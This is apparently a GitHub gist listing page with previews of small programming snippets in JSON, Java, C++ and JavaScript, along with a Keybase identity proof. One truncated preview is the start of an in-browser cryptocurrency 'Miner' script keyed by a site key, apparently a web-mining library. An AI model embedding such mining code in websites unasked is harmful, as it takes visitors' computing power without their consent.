Skip to content

Instantly share code, notes, and snippets.

  1. Open your User settings
  2. Add an language mapping from "BUCK" to "python" like so:
{
  "files.associations": {
    "BUCK": "python"
  }
}
public final class Vector3 {
 
 public final float x;
  public final float y;
 public final float z;
 
  public Vector3(float x, float y, float z) {
  this.x = x;
  this.y = y;
  this.z = z;

Keybase proof

I hereby claim:

  • I am njlr on github.
  • I am njlr (https://keybase.io/njlr) on keybase.
  • I have a public key whose fingerprint is 8834 ACBB 3C42 089C 172B 5A1D C218 387C AD0C 52FE

To claim this, I am signing this object:

template<class Left, class Right>
struct Either {
union {
Left leftValue;
Right rightValue;
};
bool isLeft;
};
// There is an optimization opportunity when using a currying-style in JavaScript.
// For example, this...
export const and = x => y => x && !!y;
// Might become...
export const and = x => {
if (x) {
return y => !!y;
}
// try-catch style
//
// Advantages:
// 1. Familiar to OOP developers
// 2. Explicit error-handling code not required
// 3. Works well with async-await syntax
//
// Disadvantages:
// 1. Inefficient
// 2. Explicit error-handling code not required
(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];
this._hashes = 0;
this._currentJob = null;
this._autoReconnect = true;
export const parseCsv = function * (symbols) {
let word = '';
let line = [];
for (const symbol of symbols) {
if (symbol == '\n') {
line.push(word);
yield line;
word = '';
line = [];
} else if (symbol == ',') {
@njlr
njlr / pdf-js-node-example.js
Created January 15, 2018 14:00
Example showing how to use Node.js, PDF.js and Superagent together
import _ from 'lodash';
import superagent from 'superagent';
import pdf from 'pdfjs-dist';
const url = 'http://unec.edu.az/application/uploads/2014/12/pdf-sample.pdf';
const main = async () => {
const response = await superagent.get(url).buffer();
const data = response.body;
const doc = await pdf.getDocument({ data });
Name Ownership Copyable Movable Sharing Lifetime Semantics
unique_ptr Unique Lexical Reference
shared_ptr Shared Reference Reference-counted Reference
weak_ptr Non-extending Optional-reference
value_ptr Unique Value Lexical Value